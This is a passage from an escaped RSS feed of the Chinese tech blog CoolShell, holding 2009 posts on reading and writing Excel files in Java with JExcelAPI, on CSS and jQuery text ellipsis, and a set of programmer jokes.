class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/21649.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg\" alt=\"源代码特洛伊木马攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21649.html\" class=\"wp_rp_title\">源代码特洛伊木马攻击</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1957.html\">Web程序的最佳测试数据</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1957.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java读写Excel</title>\n\t\t<link>https://coolshell.cn/articles/1954.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1954.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 15 Dec 2009 01:36:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Excel]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[jexcelapi]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1954</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文主要向你演示如何使用JavaExcel API来读写Excel文件。关于JavaExcel API，这是一个开源的lib库。其相关的feature如下： 支...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1954.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1954.html\">Java读写Excel</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文主要向你演示如何使用JavaExcel API来读写Excel文件。关于JavaExcel API，这是一个开源的lib库。其相关的feature如下：</p>\n<li>支持Excel 95, 97, 2000, <span style=\"color: #ff0000;\">XP, 2003</span> 的制表页。</li>\n<li>可以读写相关的Excel公式 （仅支持Excel 97 及以后版本）</li>\n<li>可以生成 Excel 2000 格式的xls文件。</li>\n<li>支持字体，数字和日期格式。</li>\n<li>支持单元格的阴影，边框和颜色。</li>\n<li>可以修改已存在的制表页。</li>\n<li>国际化多语言集。(公式目前支持，英文，法文，西班牙文和德文）</li>\n<li>支持图表拷贝。</li>\n<li><span style=\"color: #ff0000;\">支持图片的插入和复制。</span></li>\n<li>日志生成可以使用Jakarta Commons Logging, log4j, JDK 1.4 Logger, 等。</li>\n<li>更多……</li>\n<p>你可以在这里下载：<a href=\"http://jexcelapi.sourceforge.net/\">http://jexcelapi.sourceforge.net/</a>，然后，把jxl.jar加到你的Java的classpath中。</p>\n<p>下面是两段例程，一段是如何创建Excel，一段是如何读取Excel。</p>\n<p><span id=\"more-1954\"></span></p>\n<p><strong>创建Excel</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">package writer;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Locale;\n\nimport jxl.CellView;\nimport jxl.Workbook;\nimport jxl.WorkbookSettings;\nimport jxl.format.UnderlineStyle;\nimport jxl.write.Formula;\nimport jxl.write.Label;\nimport jxl.write.Number;\nimport jxl.write.WritableCellFormat;\nimport jxl.write.WritableFont;\nimport jxl.write.WritableSheet;\nimport jxl.write.WritableWorkbook;\nimport jxl.write.WriteException;\nimport jxl.write.biff.RowsExceededException;\n\n\npublic class WriteExcel {\n\n\tprivate WritableCellFormat timesBoldUnderline;\n\tprivate WritableCellFormat times;\n\tprivate String inputFile;\n\t\npublic void setOutputFile(String inputFile) {\n\tthis.inputFile = inputFile;\n\t}\n\n\tpublic void write() throws IOException, WriteException {\n\t\tFile file = new File(inputFile);\n\t\tWorkbookSettings wbSettings = new WorkbookSettings();\n\n\t\twbSettings.setLocale(new Locale(&quot;en&quot;, &quot;EN&quot;));\n\n\t\tWritableWorkbook workbook = Workbook.createWorkbook(file, wbSettings);\n\t\tworkbook.createSheet(&quot;Report&quot;, 0);\n\t\tWritableSheet excelSheet = workbook.getSheet(0);\n\t\tcreateLabel(excelSheet);\n\t\tcreateContent(excelSheet);\n\n\t\tworkbook.write();\n\t\tworkbook.close();\n\t}\n\n\tprivate void createLabel(WritableSheet sheet)\n\t\t\tthrows WriteException {\n\t\t// Lets create a times font\n\t\tWritableFont times10pt = new WritableFont(WritableFont.TIMES, 10);\n\t\t// Define the cell format\n\t\ttimes = new WritableCellFormat(times10pt);\n\t\t// Lets automatically wrap the cells\n\t\ttimes.setWrap(true);\n\n\t\t// Create create a bold font with unterlines\n\t\tWritableFont times10ptBoldUnderline = new WritableFont(\n\t\t\t\tWritableFont.TIMES, 10, WritableFont.BOLD, false,\n\t\t\t\tUnderlineStyle.SINGLE);\n\t\ttimesBoldUnderline = new WritableCellFormat(times10ptBoldUnderline);\n\t\t// Lets automatically wrap the cells\n\t\ttimesBoldUnderline.setWrap(true);\n\n\t\tCellView cv = new CellView();\n\t\tcv.setFormat(times);\n\t\tcv.setFormat(timesBoldUnderline);\n\t\tcv.setAutosize(true);\n\n\t\t// Write a few headers\n\t\taddCaption(sheet, 0, 0, &quot;Header 1&quot;);\n\t\taddCaption(sheet, 1, 0, &quot;This is another header&quot;);\n\t\t\n\n\t}\n\n\tprivate void createContent(WritableSheet sheet) throws WriteException,\n\t\t\tRowsExceededException {\n\t\t// Write a few number\n\t\tfor (int i = 1; i &lt; 10; i++) {\n\t\t\t// First column\n\t\t\taddNumber(sheet, 0, i, i + 10);\n\t\t\t// Second column\n\t\t\taddNumber(sheet, 1, i, i * i);\n\t\t}\n\t\t// Lets calculate the sum of it\n\t\tStringBuffer buf = new StringBuffer();\n\t\tbuf.append(&quot;SUM(A2:A10)&quot;);\n\t\tFormula f = new Formula(0, 10, buf.toString());\n\t\tsheet.addCell(f);\n\t\tbuf = new StringBuffer();\n\t\tbuf.append(&quot;SUM(B2:B10)&quot;);\n\t\tf = new Formula(1, 10, buf.toString());\n\t\tsheet.addCell(f);\n\n\t\t// Now a bit of text\n\t\tfor (int i = 12; i &lt; 20; i++) {\n\t\t\t// First column\n\t\t\taddLabel(sheet, 0, i, &quot;Boring text &quot; + i);\n\t\t\t// Second column\n\t\t\taddLabel(sheet, 1, i, &quot;Another text&quot;);\n\t\t}\n\t}\n\n\tprivate void addCaption(WritableSheet sheet, int column, int row, String s)\n\t\t\tthrows RowsExceededException, WriteException {\n\t\tLabel label;\n\t\tlabel = new Label(column, row, s, timesBoldUnderline);\n\t\tsheet.addCell(label);\n\t}\n\n\tprivate void addNumber(WritableSheet sheet, int column, int row,\n\t\t\tInteger integer) throws WriteException, RowsExceededException {\n\t\tNumber number;\n\t\tnumber = new Number(column, row, integer, times);\n\t\tsheet.addCell(number);\n\t}\n\n\tprivate void addLabel(WritableSheet sheet, int column, int row, String s)\n\t\t\tthrows WriteException, RowsExceededException {\n\t\tLabel label;\n\t\tlabel = new Label(column, row, s, times);\n\t\tsheet.addCell(label);\n\t}\n\n\tpublic static void main(String[] args) throws WriteException, IOException {\n\t\tWriteExcel test = new WriteExcel();\n\t\ttest.setOutputFile(&quot;c:/temp/lars.xls&quot;);\n\t\ttest.write();\n\t\tSystem.out\n\t\t\t\t.println(&quot;Please check the result file under c:/temp/lars.xls &quot;);\n\t}\n}\n</pre>\n</p>\n<p><strong>读取Excel</strong><br />\n </p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">package reader;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport jxl.Cell;\nimport jxl.CellType;\nimport jxl.Sheet;\nimport jxl.Workbook;\nimport jxl.read.biff.BiffException;\n\npublic class ReadExcel {\n\n\tprivate String inputFile;\n\n\tpublic void setInputFile(String inputFile) {\n\t\tthis.inputFile = inputFile;\n\t}\n\n\tpublic void read() throws IOException  {\n\t\tFile inputWorkbook = new File(inputFile);\n\t\tWorkbook w;\n\t\ttry {\n\t\t\tw = Workbook.getWorkbook(inputWorkbook);\n\t\t\t// Get the first sheet\n\t\t\tSheet sheet = w.getSheet(0);\n\t\t\t// Loop over first 10 column and lines\n\n\t\t\tfor (int j = 0; j &lt; sheet.getColumns(); j++) {\n\t\t\t\tfor (int i = 0; i &lt; sheet.getRows(); i++) {\n\t\t\t\t\tCell cell = sheet.getCell(j, i);\n\t\t\t\t\tCellType type = cell.getType();\n\t\t\t\t\tif (cell.getType() == CellType.LABEL) {\n\t\t\t\t\t\tSystem.out.println(&quot;I got a label &quot;\n\t\t\t\t\t\t\t\t+ cell.getContents());\n\t\t\t\t\t}\n\n\t\t\t\t\tif (cell.getType() == CellType.NUMBER) {\n\t\t\t\t\t\tSystem.out.println(&quot;I got a number &quot;\n\t\t\t\t\t\t\t\t+ cell.getContents());\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (BiffException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) throws IOException {\n\t\tReadExcel test = new ReadExcel();\n\t\ttest.setInputFile(&quot;c:/temp/lars.xls&quot;);\n\t\ttest.read();\n\t}\n\n}\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1954.html\">Java读写Excel</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1954.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web中的省略号</title>\n\t\t<link>https://coolshell.cn/articles/1949.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1949.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 15 Dec 2009 00:43:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[ellipsis]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1949</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在Web开发中，对于一种情况很常见。那就是，文本太长，而放置文本的容器不够长，而我们又不想让文本换行，所以，我们想使用省略号来解决这个问题。但是，在今天HTML...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1949.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在Web开发中，对于一种情况很常见。那就是，文本太长，而放置文本的容器不够长，而我们又不想让文本换行，所以，我们想使用省略号来解决这个问题。但是，在今天HTML的标准中并没有相关的标识或属性让你可以简单地完成这个事。但是我们可以使用CSS样式表来完成这个事，在IE，Safari，Chrome，Opera中都可以。但在Firefox中却不行，但我们可以使用jQuery来解决Firefox不兼容的问题。下面是相关的代码示例。</p>\n<p><strong>使用CSS设置省略号</strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\noverflow: hidden;\ntext-overflow: ellipsis;\n-o-text-overflow: ellipsis;\nwhite-space: nowrap;\nwidth: 100%;\n</pre>\n<p><span id=\"more-1949\"></span></p>\n<ul>\n<li><strong>overflow</strong> 属性是必需的，并且属性要是hidden。</li>\n<li><strong>white-space: nowrap</strong> 也是必需的。如果文本可以自动换行，就算是不可见，也不会有省略号的。因为文本换行了，所以没有超过容器的尺寸，所以也就不会有省略号了。</li>\n<li> <strong>width </strong>属性仅在需要支持IE6时设置。 设置成100%仅是为了解决IE6的不兼容问题。（关于IE中的那些不兼容问题，你可以参看本站的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a>》）</li>\n<li><strong>text-overflow: ellipsis</strong> 就是设置省略号了。目前还不是HTML的标准规范。其是由IE引入的，可以在IE6+，Safari 3.2+和Chrome上工作。</li>\n<li><strong>-o-text-overflow: ellipsis</strong> 是 Opera 支持的。可以在 Opera 9.0+使用。</li>\n</ul>\n<p><strong>使用jQuery设置省略号</strong></p>\n<p>正如前面所说过的，Firefox并不支持CSS中的那些省略号设置，因为那并不是标准的HTML规范。所以，我们需要使用jQuery的Javascript来干这个事。你可以下载由Devon Govett写的<a href=\"http://devongovett.wordpress.com/2009/04/06/text-overflow-ellipsis-for-firefox-via-jquery/\">jQuery 省略号插件</a>，于是，你可以简单的把&#8221;ellipsis&#8221;赋给某些元件或是CSS定义，如下所示：</p>\n<p>[javascript]$(document).ready(function() {<br />\n    $(&#8216;.ellipsis&#8217;).ellipsis();<br />\n}[/javascript]</p>\n<p>或是</p>\n<p>[javascript]$(&quot;span&quot;).ellipsis();[/javascript]<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1949.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员的相关笑话（二）</title>\n\t\t<link>https://coolshell.cn/articles/1941.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1941.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 14 Dec 2009 04:10:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Joke]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1941</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前面发表过《程序员的相关笑话（一）》现在继续一些相关的笑话。 牧羊人与IT顾问 从前，有一个牧羊人，他有很多的羊。一天他赶着他的那群羊到了一条公路边上。突然，有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1941.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1941.html\">程序员的相关笑话（二）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前面发表过《<a title=\"程序员的相关笑话（一）\" href=\"https://coolshell.cn/?p=1903\">程序员的相关笑话（一）</a>》现在继续一些相关的笑话。</p>\n<h4>牧羊人与IT顾问</h4>\n<p>从前，有一个牧羊人，他有很多的羊。一天他赶着他的那群羊到了一条公路边上。突然，有一辆保时洁急驶过来，上面坐着一个年轻人人，穿着Armani的衣服，和Cerutti的皮鞋，Ray-Ban的太阳眼镜，TAG-Heuer的手表，以前Versace的领带。</p>\n<p>他走到牧羊人面前问牧羊人：“如果我能说出你有多少只羊，你能给我一只吗？”</p>\n<p>牧羊人看了看他那一大群数都数不过来的羊，说：“可以！”。</p>\n<p>那个年轻人，于是打开了他的笔记本电脑，接上手机，进入了NASA Webster，通过GPS定位，开始扫描。然后打了40多页充满各位对数微积分的公式的Excel表格，最后通过他的那个高科技迷你打印机打出了150多页的分析报告，然后，他看了看报告，走到牧羊人前说：“你一共有1586只羊！”</p>\n<p>牧羊人拍手道：“牛啊，你说的一点也没错，你挑一只吧”。</p>\n<p>于是，那个年轻人挑了一只，并准备从他的保时捷中拿出一些文档给牧羊人，这时，牧羊人说：“如果我能猜出你是干什么的，我能不能要回我的那只羊？”</p>\n<p>年轻人说：“为什么不呢？”</p>\n<p>牧羊人说：“你是一个IT咨询顾问”</p>\n<p>年轻人说：“你是怎么知道的？”</p>\n<p>牧羊人说：“很简单。首先，我并没有叫你，你就来了。然后，你开始用一些我已经知道的东西向我收费。第三，你根本就不了解我的业务……，所以，现在请你把我的牧羊狗还给我。”</p>\n<p><span id=\"more-1941\"></span></p>\n<h4>程序员睡觉</h4>\n<p>一个标准的程序员在睡觉时候都会准备两个杯子，一个是空的，一个装满了水。装满水的杯子为的是可能自己的睡觉的过程中会口渴，空白杯子只是为了在睡觉的时候不口渴。</p>\n<h4>一个程序出错信息</h4>\n<p>Keyboard not found &#8230; press F1 to continue</p>\n<h4>为什么程序员喜欢UNIX</h4>\n<p>unzip, strip, touch, finger, grep, mount, fsck, more, yes, fsck, fsck, fsck, umount, sleep</p>\n<p>（<strong>说明</strong>：unzip：拉开拉链；strip：脱掉衣服；touch：抚摸；finger：手指；grep：摸索；mount：骑上去；fsck：fxxk；more：更多；yes：爽；umount：下来；sleep：睡觉）</p>\n<h4>Google递归关键字</h4>\n<p><a href=\"http://www.google.com/search?hl=en&amp;q=recursion\" target=\"_blank\">http://www.google.com/search?hl=en&amp;q=recursion</a></p>\n<h4>一句话幽默</h4>\n<p>C++是一个很好的编译语言，因为你的parent（父母）不能访问你的private（隐私），但是你的friend（朋友）可以。</p>\n<p>这个世界上，最佳的UI设计是“乳头”，除此之外，所有的UI都需要学习。</p>\n<p>我真的想让这个世界变得更好，但是他们不给我源代码。（RE：这个世界的源代码是COBOL或汇编）</p>\n<p>程序员是一种可以把香烟和咖啡变成代码的机器。</p>\n<p>有多少微软的工程师会换电灯泡？没有，他们会把黑暗变成一种标准，然后对你说，这就是设计行为。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"程序员的相关笑话（一）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1903.html\" class=\"wp_rp_title\">程序员的相关笑话（一）</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a 